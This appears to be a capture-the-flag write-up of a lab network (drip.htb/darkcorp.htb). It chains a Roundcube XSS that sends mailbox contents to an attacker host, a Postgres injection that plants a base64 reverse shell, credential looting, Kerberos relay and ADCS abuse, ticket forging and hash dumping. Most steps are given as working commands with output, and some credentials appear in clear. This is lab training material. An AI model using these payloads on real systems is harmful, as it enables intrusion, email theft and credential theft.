by 0xW1LD
I’d like to dedicate this writeup to my team, OSI, the team has so many talented, creative, and experienced people in cybersecurity and I am forever humbled and grateful to be a part of such an amazing community. I definitely would not have been able to do this box let alone write this writeup without them!
Running a scan we find the following ports open:
1
2
3
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Conducting a service scan and using default scripts on these ports grants the following information:
1
2
3
4
5
6
7
8
9
10
11
12
13
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 127 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 3341ed0aa51a86d0cc2aa62b8d8db2ad (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPM91a70VJCxg10WFerhkQv207077raOCX9rTMPBeEbHqGHO954XaFtpqjoofHOQWi2syh7IoOV5+APBOoJ60k0=
| 256 04ad7eba110ee0fbd080d324c23e2cc5 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHquJFnMIhX9y8Ea87tDtRWPtxThlpE2Y1WxGzsyvQQM
80/tcp open http syn-ack ttl 127 nginx 1.22.1
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Attempting to visit the target’s IP we are redirected to http://drip.htb
:
We are able to send a message on the site anonymously:
Let’s create an account through the sign up page:
Redirects us to mail.drip.htb
:
Logging in we see a mail inbox website:
Let’s take note of the support email: support@drip.htb
Looking around we can find that the site is running roundcube mail 1.6.7
.
1
2
3
4
5
6
7
8
9
10
Roundcube Webmail 1.6.7
Copyright © 2005-2022, The Roundcube Dev Team
This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at%20your%20option) any later version.
Some exceptions for skins & plugins apply.
Installed plugins
Plugin Version License Source
filesystem_attachments 1.0 GPL-3.0+
jqueryui 1.13.2 GPL-3.0+
http://drip.darkcorp.htb/dashboard
seems to be forbidden:
A Cross-Site Scripting vulnerability in Roundcube through 1.6.7 allows a remote attacker to steal and send emails of a victim via a crafted e-mail message that abuses a Desanitization issue in message_body() in program/actions/mail/show.php.
Government Emails at Risk: Critical Cross Site Scripting Vulnerability in Roundcube Webmail
Intercepting the request from interacting with the drip contact page, we get the following default POST request:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /contact HTTP/1.1
Host: drip.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 380
Origin: http://drip.htb
Connection: keep-alive
Referer: http://drip.htb/index
Cookie: session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiZDNkZTIxNzFhYTUxMDQ4Yzg1Y2QwNjIwMjU0ZTgzMDFlYzUyMWYzYSJ9.Z6f0aA.HibuNpMa-RBI7zPeoNkRdO38mYM
Upgrade-Insecure-Requests: 1
Priority: u=0, i
name=test&email=test&message=Foo&content=text&recipient=support%40drip.htb
Let’s change the content type from text
to html
and replace the recepient from support@drip.htb
to our account.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /contact HTTP/1.1
Host: drip.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 377
Origin: http://drip.htb
Connection: keep-alive
Referer: http://drip.htb/index
Cookie: session=eyJfZnJlc2giOmZhbHNlLCJjc3JmX3Rva2VuIjoiZDNkZTIxNzFhYTUxMDQ4Yzg1Y2QwNjIwMjU0ZTgzMDFlYzUyMWYzYSJ9.Z6f0aA.HibuNpMa-RBI7zPeoNkRdO38mYM
Upgrade-Insecure-Requests: 1
Priority: u=0, i
name=test&email=test&message=Foo&content=html&recipient=root%40drip.htb
When sent we receive the following email:
Note the email: bcase@drip.htb
Utilizing this xss
vulnerability through the contact
endpoint on the web server, we can create a payload that will make a callback to our machine.
Request Body:
1
name=testname&email=testemail&message=%3Cbody+title%3D%22bgcolor%3Dfoo%22+name%3D%22bar+style%3Danimation-name%3Aprogress-bar-stripes+onanimationstart%3Ddocument.body.appendChild%28Object.assign%28document.createElement%28%27script%27%29%2C%7Bsrc%3A%27http%3A%2F%2F10.10.14.48%2F%3Fc%3D%27%2Bdocument.cookie%7D%29%29+foo%3Dbar%22%3E%0D%0AFoo%0D%0A%3C%2Fbody%3E&content=html&recipient=root%40drip.htb
Email:
Listener Response:
1
2
3
4
5
6
7
8
Ncat: Connection from 10.10.14.48:50570.
GET /?c= HTTP/1.1
Host: 10.10.14.48
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Seeing as it successfully conducts a callback, let’s construct a payload that will fetch the contents of inbox messages like so:
1
<body title="bgcolor=foo" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch('/?_task=mail&_mbox=INBOX&_uid=1&_action=show').then(r=>r.text()).then(t=>fetch('http://10.10.14.63/',{method:'POST',body:t,mode:'no-cors'})) foo=bar">Foo</body>
Let’s then send our payload to bcase@drip.htb
making sure that our content type is html
:
1
name=test&email=test%40test.com&message=<body+title%3d"bgcolor%3dfoo"+name%3d"bar+style%3danimation-name%3aprogress-bar-stripes+onanimationstart%3dfetch('/%3f_task%3dmail%26_mbox%3dINBOX%26_uid%3d7%26_action%3dshow').then(r%3d>r.text()).then(t%3d>fetch('http%3a//10.10.14.63/',{method%3a'POST',body%3at,mode%3a'no-cors'}))+foo%3dbar">Foo</body>&content=html&recipient=bcase%40drip.htb
We receive a callback on our listener with the contents of the email with the uid
that we provided, in this case: 1
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST / HTTP/1.1
Host: 10.10.14.63
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: text/plain;charset=UTF-8
Content-Length: 23178
Origin: null
Connection: keep-alive
Priority: u=4
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"><title>DripMail Webmail :: Customer Information Request</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0, shrink-to-fit=no, maximum-scale=1.0"><meta name="theme-color" content="#f4f4f4"><meta name="msapplication-navbutton-color" content="#f4f4f4">
<link rel="shortcut icon" href="skins/elastic/images/favicon.ico?s=1716107237">
<link rel="stylesheet" href="skins/elastic/deps/bootstrap.min.css?s=1716107245">
<link rel="stylesheet" href="skins/elastic/styles/styles.min.css?s=1716107237">
<script>
try {
if (document.cookie.indexOf('colorMode=dark') > -1
|| (document.cookie.indexOf('colorMode=light') === -1 && window.matchMedia('(prefers-color-scheme: dark)').matches
<SNIP>
We can find the message in <div id="messagebody">
:
1
2
cat message.txt | grep "<div id=\"messagebody\".*</div>"
<div id="messagebody"><div class="message-htmlpart" id="message-htmlpart1" style="background-color: foo"><!-- html ignored --><!-- head ignored --><!-- meta ignored -->'<div class="rcmBody" title=" name="bar style=animation-name:progress-bar-stripes onanimationstart=fetch(\'http://10.10.14.63\') foo=bar">Foo</div>'
Let’s check what other emails are in b.case
’s inbox by iterating over the uids
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nc -lvnp 80 | pcregrep -M "<div id=\"messagebody\".*(\n|.)*<\!"
listening on [any] 80 ...
connect to [10.10.14.63] from (UNKNOWN) [10.10.11.54] 64868
<div id="messagebody"><div class="message-part" id="message-part1"><div class="pre">Hi bcase,<br>
<br>
Welcome to DripMail! We're excited to provide you with convenient email solutions! If you need help, please reach out to us at <a href="mailto:support@drip.htb" onclick="return rcmail.command('compose','support@drip.htb',this)">support@drip.htb</a>.<br>
<br>
</div></div></div>
</div>
</div>
</div>
</div>
<!-- popup menus -->
Creating automation and cleaning up with python we get the following email contents.
1
2
3
4
5
Hi bcase,
Welcome to DripMail! We're excited to provide you with convenient email solutions! If you need help, please reach out to us at
support@drip.htb
.
There are some other interesting emails, this one mentions a site analytics dashboard.
1
2
3
4
5
6
7
8
9
10
Hey Bryce,
The Analytics dashboard is now live. While it's still in development and limited in functionality, it should provide a good starting point for gathering metadata on the
users currently using our service.
You can access the dashboard at dev-a3f1-01.drip.htb. Please note that you'll need to reset your password before logging in.
If you encounter any issues or have feedback, let me know so I can address them promptly.
Thanks
Visiting the dashboard subdomain we find that we’re able to reset our password by providing an email.
We can only send a recovery password to bcase@drip.htb
.
Requesting to recover our password we can find the following email using the xss email read vulnerability.
1
2
3
4
5
6
Your reset token has generated. Please reset your password within the next 5 minutes.
You may reset your password here:
http://dev-a3f1-01.drip.htb/reset/ImJjYXNlQGRyaXAuaHRiIg.Z6gGHQ.tEe6eOrbjMpD9bd4wkVYVQdfLyQ
We’re greated by a password reset page.
Let’s reset b.case's
password so that we can login to the dashboard.
Logging in we’re greated with an analytics dashboard on which we can conduct searches.
It seems that the search functionality is broken as typing anything into the search
bar leads to an error.
Seems like it treats user input as a column, we can use this to check for columns in the Users table, if we find a column it won’t produce an error:
If we take a deeper look into the SQL query we will notice that it treats the input as a column due to the lack of quotes when the search term is placed, we can fix the SQL error with two single quotes(''
) and we can add onto the query by adding a semi-colon(;
).
We can grab password hashes using ''; SELECT username,password From "Users"
:
However after attempting to crack these hashes utilizing password cracking tools such as hashcat and johntheripper, they don’t crack against the rockyou password wordlist.
Let’s check if the current setting is a superuser:
1
2
3
''; SELECT current_setting('is_superuser');
on
Since we are a database superuse we can continue following along with the following article: Postgres SQL Injection to RCE with archive_command
First let’s take a look at our version:
1
2
3
''; SELECT version();
PostgreSQL 15.10 (Debian 15.10-0+deb12u1) on x86_64-pc-linux-gnu, compiled by gcc (Debian 12.2.0-14) 12.2.0, 64-bit
From this, we can determine that the location of postgres.conf
is in the following directory:
1
/etc/postgresql/15/main/postgresql.conf
Let’s import that config file into a large object so we can read it.
1
2
3
''; SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
106251
Let’s read the config file using the large object id
that was returned in the previous query.
1
2
3
4
5
6
7
''; SELECT encode(lo_get(106251), 'escape')
# -----------------------------
# PostgreSQL configuration file
# -----------------------------
#
<SNIP>
We have successfully exfiltrated the configuration file! We should be able to use a similar process to now write to our configuration file. This is crucial because we want to create an archive_command
which runs whenever a WAL is archived.
Let’s create a base64 payload for our archive_command
:
1
2
3
echo -n 'bash -i >& /dev/tcp/10.10.14.63/9001 0>&1' | base64
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjMvOTAwMSAwPiYx
So our archive_command
should look like this:
1
archive_command='echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjMvOTAwMSAwPiYx | base64 -d | bash'
Let’s then base64
encode this further so that we don’t have any special characters to deal with.
1
2
3
4
echo -n "archive_command='echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjMvOTAwMSAwPiYx | base64 -d | bash'" | base64
YXJjaGl2ZV9jb21tYW5kPSdlY2hvIFltRnphQ0F0YVNBZ1BpWWdMMlJsZGk5MFkzQXZNVEF1TVRB
dU1UUXVOak12T1RBd01TQXdQaVl4IHwgYmFzZTY0IC1kIHwgYmFzaCc=
We create another large object with our payload using the decode
function to convert it once from base64
.
1
2
3
''; SELECT lo_from_bytea(42069, decode('YXJjaGl2ZV9jb21tYW5kPSdlY2hvIFltRnphQ0F0YVNBZ1BpWWdMMlJsZGk5MFkzQXZNVEF1TVRBdU1UUXVOak12T1RBd01TQXdQaVl4IHwgYmFzZTY0IC1kIHwgYmFzaCc=','base64'))
42069
We can then export this large object to the configuration file, we should see a 1
return which indicates a success.
1
2
3
''; SELECT lo_export(42069,'/etc/postgresql/15/main/postgresql.conf')
1
Success! Let’s now reload our configuration.
1
2
3
''; SELECT pg_reload_conf()
True
Let’s confirm our archive_command
is exactly what we want it to be.
1
2
3
''; SELECT current_setting('archive_command')
echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNjMvOTAwMSAwPiYx | base64 -d | bash
Let’s force a WAL
switch which will archive the current WAL
executing the archive_command
1
2
3
''; SELECT pg_switch_wal()
0/84327870
We get a callback on our listener!:
1
2
3
4
connect to [10.10.14.63] from (UNKNOWN) [10.10.11.54] 60852
bash: cannot set terminal process group (612): Inappropriate ioctl for device
bash: no job control in this shell
postgres@drip:/var/lib/postgresql/15/main$
Just like that we have a foothold!
Looking in /var/www/html/dashboard
we can find a hidden .env
file which contains the following:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# True for development, False for production
DEBUG=False
# Flask ENV
FLASK_APP=run.py
FLASK_ENV=development
# If not provided, a random one is generated
# SECRET_KEY=<YOUR_SUPER_KEY_HERE>
# Used for CDN (in production)
# No Slash at the end
ASSETS_ROOT=/static/assets
# If DB credentials (if NOT provided, or wrong values SQLite is used)
DB_ENGINE=postgresql
DB_HOST=localhost
DB_NAME=dripmail
DB_USERNAME=dripmail_dba
DB_PASS=[REDACTED]
DB_PORT=5432
SQLALCHEMY_DATABASE_URI = 'postgresql://dripmail_dba:2Qa2SsBkQvsc@localhost/dripmail'
SQLALCHEMY_TRACK_MODIFICATIONS = True
SECRET_KEY = 'GCqtvsJtexx5B7xHNVxVj0y2X0m10jq'
MAIL_SERVER = 'drip.htb'
MAIL_PORT = 25
MAIL_USE_TLS = False
MAIL_USE_SSL = False
MAIL_USERNAME = None
MAIL_PASSWORD = None
MAIL_DEFAULT_SENDER = 'support@drip.htb'
Given the database credentials, we’ve found the password for the postgres
user.
Looking in /var/backups
we find that postgres has a backups folder
1
drwx------ 2 postgres postgres 4096 Feb 5 12:52 postgres
We find dev-dripmail.old.sql.gpg
in the backups folder.
Seeing as it’s a gpg
file we can extract it using the following command using the password we found earlier:
1
gpg --output dev --decrypt dev-dripmail.old.sql.gpg
In the file we find the following admin credentials:
1
2
3
bcase dc5[REDACTED] bcase@drip.htb
victor.r cac[REDACTED] victor.r@drip.htb
ebelford 8bb[REDACTED] ebelford@drip.htb
Running these hashes through hashcat
we’re able to recover victor
and ebelford
’s credentials
We are able to ssh
into drip.htb
using ebelford's
creds:
1
2
3
4
5
6
7
8
9
10
11
12
ssh ebelford@drip.htb
Linux drip 6.1.0-28-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have no mail.
Last login: Mon Feb 17 14:19:15 2025 from 172.16.20.1
ebelford@drip:~$
Creating a pivot tunnel through the network and transfering a static binary of nmap on ebelford
’s host provides the following hosts:
1
2
3
4
5
6
7
8
9
# Nmap 6.49BETA1 scan initiated Sun Feb 9 15:35:42 2025 as: ./nmap -sn -oN internal_hosts.txt 172.16.20.0/24
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for DC-01 (172.16.20.1)
Host is up (0.0019s latency).
Nmap scan report for 172.16.20.2
Host is up (0.0024s latency).
Nmap scan report for drip.darkcorp.htb (172.16.20.3)
Host is up (0.00044s latency).
# Nmap done at Sun Feb 9 15:35:45 2025 -- 256 IP addresses (3%20hosts%20up) scanned in 2.91 seconds
Scanning hosts .1
and .2
we find a Domain Controller
, strangely enough with ssh
open, and a Windows Server
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# 172.16.20.1
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
88/tcp open kerberos
135/tcp open epmap
139/tcp open netbios-ssn
389/tcp open ldap
443/tcp open https
445/tcp open microsoft-ds
464/tcp open kpasswd
593/tcp open unknown
636/tcp open ldaps
2179/tcp open unknown
3268/tcp open unknown
3269/tcp open unknown
5985/tcp open unknown
9389/tcp open unknown
47001/tcp open unknown
49197/tcp open unknown
49412/tcp open unknown
49417/tcp open unknown
49420/tcp open unknown
49448/tcp open unknown
49467/tcp open unknown
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
61400/tcp open unknown
# 172.16.20.2
PORT STATE SERVICE
80/tcp open http
135/tcp open epmap
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5000/tcp open unknown
5985/tcp open unknown
47001/tcp open unknown
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown
http://172.16.20.2:5000
is running an HTTP
server with ntlm authentication through a basic authentication prompt
Utilizing victor
’s credentials we manage to login to the dashboard, let’s take a look at the pages.
DASHBOARD:
GRAPHS:
CHECKSTATUS:
The site also has a function to download logs:
Attempting to alter any requests leads to a 401
unauthorized error, this is due to NTLM 3 step authentication.
To bypass this we can pass our modified requests through using curl
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
curl http://172.16.20.2:5000 --ntlm -u 'victor.r:[REDACTED]' -v -I
* Connected to 172.16.20.2 (127.0.0.1) port 5000 (#0)
* Server auth using NTLM with user 'victor.r'
> HEAD / HTTP/1.1
> Host: 172.16.20.2:5000
> Authorization: NTLM TlRMTVNTUAABAAAABoIIAAAAAAAAAAAAAAAAAAAAAAA=
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 401 Unauthorized
HTTP/1.1 401 Unauthorized
< Content-Length: 341
Content-Length: 341
< Content-Type: text/html; charset=us-ascii
Content-Type: text/html; charset=us-ascii
< Server: Microsoft-HTTPAPI/2.0
Server: Microsoft-HTTPAPI/2.0
< WWW-Authenticate: NTLM TlRMTVNTUAACAAAACAAIADgAAAAGgokCW27LEC3gGLgAAAAAAAAAAJYAlgBAAAAACgB8TwAAAA9EQVJLQ09SUAIAEABkAGEAcgBrAGMAbwByAHAAAQAMAFcARQBCAC0AMAAxAAQAGABkAGEAcgBrAGMAbwByAHAALgBoAHQAYgADACYAVwBFAEIALQAwADEALgBkAGEAcgBrAGMAbwByAHAALgBoAHQAYgAFABgAZABhAHIAawBjAG8AcgBwAC4AaAB0AGIABwAIAOoqxguVe9sBAAAAAA==
<SNIP>
We can then use this to modify the data in the POST
request for the status of a host:
1
2
3
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"TEST","port":"TEST_PORT"}' --ntlm -u 'victor.r:[REDACTED]'
{"message":"Invalid input","status":"Error"}
Modifying the host or protocol parameter leads to an invalid input error as seen above.
However modifying the port parameter, we can get the server to query any port:
1
2
3
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"web-01.darkcorp.htb","port":"TEST_PORT"}' --ntlm -u 'victor.r:[REDACTED]'
{"message":"http://web-01.darkcorp.htb:TEST_PORT is unreachable: Failed to parse: http://web-01.darkcorp.htb:TEST_PORT","status":"Error"}
Utilizing our domain credentials, which is victor
, we can find out that SVC_ACC
, the account running this dashboard, is a DNS admin
.
So we can poison the DNS records and force an authentication through kerberos towards our machine to enroll a certificate. Read more about this attack on the following articles:
NTLM certificate enrolment is disabled so we have to result to using
krbrelayx
which we’ll need adns record
for.
Let’s start by poisoning the DNS record, you can use a variety of tools for this, I used ntlmrelayx
as I was given a hint regarding using it.
1
ntlmrelayx -t "ldap://172.16.20.1" --no-smb-server --no-dump --no-da --no-acl --no-validate-privs --add-dns-record 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 10.10.14.63
The reason for the long string after the SPN is the client will request a Kerberos ticket from
dc-01
but to connect todc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA
due to the way these records are handled, which, after poisoning the DNS records, would be our attacker machine. More information about this is found in the blog above Relaying Kerberos
Let’s forward a port we’d like to use, in this case I’m using 9001
, from the drip.darkcorp.htb (linux)
machine to our attacking machine and force an authentication to trigger the dns record
changes.
1
curl 'http://172.16.20.2:5000/status' -X POST -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' -H 'Accept-Encoding: gzip, deflate' -H 'Referer: http://172.16.20.2:5000/check' -H 'Content-Type: application/json' -H 'Origin: http://172.16.20.2:5000' -H 'Connection: keep-alive' -H 'Priority: u=0' --data-raw '{"protocol":"http","host":"drip.darkcorp.htb","port":"9001"}' --ntlm -u 'victor.r:[REDACTED]'
On ntlmrelayx
we see a successful relay indicating that the DNS record
was successfully triggered.
1
2
3
4
5
6
7
8
[*] HTTPD(80): Connection from 127.0.0.1 controlled, attacking target ldap://172.16.20.1
[*] HTTPD(80): Client requested path: /
[*] HTTPD(80): Authenticating against ldap://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[*] Assuming relayed user has privileges to escalate a user via ACL attack
[*] Checking if domain already has a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` DNS record
[*] Domain does not have a `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` record!
[*] Adding `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA` pointing to `10.10.11.54` at `DC=dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA,DC=darkcorp.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=darkcorp,DC=htb`
[*] Added `A` record `dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA`. DON'T FORGET TO CLEANUP (set `dNSTombstoned` to `TRUE`, set `dnsRecord` to a NULL byte)
Let’s swap over to krbrelayx
. Keep in mind that after adding the DNS record
, the scripts on the machine will cleanup our record in 2 minutes
You will of course have to kill your
ntlmrelayx
session to allowkrbrelayx
to listen on the ports.
1
krbrelayx -t https://dc-01.darkcorp.htb/certsrv/certfnsh.asp --adcs -v WEB-01$
You can then use whatever authentication coercion you’d like, I’m using petitpotam
.
1
petitpotam -u victor.r -p '[REDACTED]' -d darkcorp.htb 'dc-011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYBAAAA' 'web-01.darkcorp.htb'
And we get the following callback on krbrelay
:
1
2
3
4
5
6
7
8
9
10
11
[*] SMBD: Received connection from 10.10.11.54
[*] HTTP server returned status code 200, treating as a successful login
[*] SMBD: Received connection from 10.10.11.54
[*] HTTP server returned status code 200, treating as a successful login
[*] Generating CSR...
[*] CSR generated!
[*] Getting certificate...
[*] Skipping user WEB-01$ since attack was already performed
[*] GOT CERTIFICATE! ID 6
[*] Base64 certificate of user WEB-01$:
MIISZQIBAzCCEh8GCSqGSIb3DQEHAaCCEhAEgh<SNIP>
Let’s put this certificate into a file:
1
echo 'MIISZQIBAzCCEh8GCSqGSIb3DQEHAaCCEhAEgh<SNIP>' > cert.txt
Using this certificate as input we can use PKINITtools
to get the TGT
of the machine account.
1
2
3
4
5
6
7
8
9
10
11
python3 ../tools/pkinittools/gettgtpkinit.py -pfx-base64 $(cat cert.txt) darkcorp.htb/web-01$ web-01.ccache
2025-02-14 23:50:45,150 minikerberos INFO Loading certificate and key from file
INFO:minikerberos:Loading certificate and key from file
2025-02-14 23:50:45,518 minikerberos INFO Requesting TGT
INFO:minikerberos:Requesting TGT
2025-02-14 23:50:45,620 minikerberos INFO AS-REP encryption key (you%20might%20need this later):
INFO:minikerberos:AS-REP encryption key (you%20might%20need this later):
2025-02-14 23:50:45,620 minikerberos INFO aa3198cfa4f58ffdcac92d7e699ba482eda32b7e6df3e263ccc391a676582d46
INFO:minikerberos:aa3198cfa4f58ffdcac92d7e699ba482eda32b7e6df3e263ccc391a676582d46
2025-02-14 23:50:45,623 minikerberos INFO Saved TGT to file
INFO:minikerberos:Saved TGT to file
Let’s then grab an NT
hash because I prefer working with them if I am able to.
1
2
3
4
5
6
7
KRB5CCNAME=web-01.ccache python3 ../tools/pkinittools/getnthash.py darkcorp.htb/web-01$ -key aa3198cfa4f58ffdcac92d7e699ba482eda32b7e6df3e263ccc391a676582d46
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Using TGT from cache
[*] Requesting ticket to self with PAC
Recovered NT Hash
[REDACTED]
Using our machine account let’s forge an Administrator TGT
1
2
3
4
5
6
7
8
KRB5CCNAME=web-01.ccache impacket-ticketer -nthash [REDACTED] -domain-sid S-1-5-21-3432610366-2163336488-3604236847 -domain darkcorp.htb -spn cifs/web-01.darkcorp.htb Administrator
[*] EncTGSRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncTGSRepPart
[*] Saving ticket in Administrator.ccache
Let’s check our ticket’s authentication.
1
2
3
4
5
KRB5CCNAME=Administrator.ccache nxc smb web-01.darkcorp.htb -u Administrator --use-kcache -x whoami
SMB web-01.darkcorp.htb 445 WEB-01 [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
SMB web-01.darkcorp.htb 445 WEB-01 [+] darkcorp.htb\Administrator from ccache (Pwn3d!)
SMB web-01.darkcorp.htb 445 WEB-01 [+] Executed command via wmiexec
SMB web-01.darkcorp.htb 445 WEB-01 darkcorp.htb\administrator
We’re now administrator on WEB-01
so let’s dump some hashes.
1
2
3
4
5
6
7
8
9
KRB5CCNAME=Administrator.ccache nxc smb web-01.darkcorp.htb -u Administrator --use-kcache --sam
SMB web-01.darkcorp.htb 445 WEB-01 [*] Windows Server 2022 Build 20348 x64 (name:WEB-01) (domain:darkcorp.htb) (signing:False) (SMBv1:False)
SMB web-01.darkcorp.htb 445 WEB-01 [+] darkcorp.htb\Administrator from ccache (Pwn3d!)
SMB web-01.darkcorp.htb 445 WEB-01 [*] Dumping SAM hashes
SMB web-01.darkcorp.htb 445 WEB-01 Administrator:500:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
SMB web-01.darkcorp.htb 445 WEB-01 Guest:501:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
SMB web-01.darkcorp.htb 445 WEB-01 DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
SMB web-01.darkcorp.htb 445 WEB-01 WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:[REDACTED]:::
SMB web-01.darkcorp.htb 445 WEB-01 [+] Added 4 SAM hashes to the database
Which we can then use to authenticate with winrm
:
1
2
3
4
5
6
7
8
9
10
evil-winrm -i web-01.darkcorp.htb -u Administrator -H [REDACTED]
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Just like that we have User!
Before, we’ve dumped local account hashes stored on the SAM
credential database, now let’s dump DPAPI
which can contain both local and domain credentials of our users.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
dpp collect -t 172.16.20.2 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:[REDACTED]
[💀] [+] DonPAPI Version 2.0.1
[💀] [+] Output directory at /home/kali/.donpapi
[💀] [+] Loaded 1 targets
[💀] [+] Recover file available at /home/kali/.donpapi/recover/recover_1739751883
[172.16.20.2] [+] Starting gathering credz
[172.16.20.2] [+] Dumping SAM
[172.16.20.2] [$] [SAM] Got 4 accounts
[172.16.20.2] [+] Dumping LSA
[172.16.20.2] [+] Dumping User and Machine masterkeys
[172.16.20.2] [$] [DPAPI] Got 4 masterkeys
[172.16.20.2] [+] Dumping User Chromium Browsers
[172.16.20.2] [+] Dumping User and Machine Certificates
[172.16.20.2] [+] Dumping User and Machine Credential Manager
[172.16.20.2] [$] [CredMan] [SYSTEM] Domain:batch=TaskScheduler:Task:{7D87899F-85ED-49EC-B9C3-8249D246D1D6} - WEB-01\Administrator:[REDACTED]
